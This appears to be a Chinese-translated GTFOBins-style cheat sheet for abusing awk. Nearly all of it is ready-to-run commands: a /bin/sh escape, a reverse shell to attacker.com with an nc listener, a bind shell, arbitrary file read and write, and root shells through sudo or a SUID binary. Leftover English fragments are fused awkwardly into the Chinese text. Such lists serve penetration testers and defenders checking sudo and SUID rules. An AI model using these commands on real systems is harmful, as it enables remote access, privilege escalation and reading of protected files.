用来生成一个交互式的系统shell。
awk 'BEGIN {system("/bin/sh")}'
向监听端口发送一个非交互式反向shell。
在攻击者机器上运行nc -l -p 12345以接收shell。
nc -l -p 12345
on the attacker box to receive the shell. RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
s = "/inet/tcp/0/" RHOST "/" RPORT;
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
将一个非交互式的shell监听到本地端口,以允许远程网络访问。
运行 nc target.com 12345 来连接到该shell。
nc target.com 12345
on the attacker box to connect to the shell. LPORT=12345
awk -v LPORT=$LPORT 'BEGIN {
s = "/inet/tcp/" LPORT "/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
将数据写入文件中。
LFILE=要写入的文件
awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
从文件中读取数据。
LFILE=要读取的文件路径
awk '//' "$LFILE"
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
LFILE=要读取的文件路径
./awk '//' "$LFILE"
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo awk 'BEGIN {system("/bin/sh")}'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./awk 'BEGIN {system("/bin/sh")}'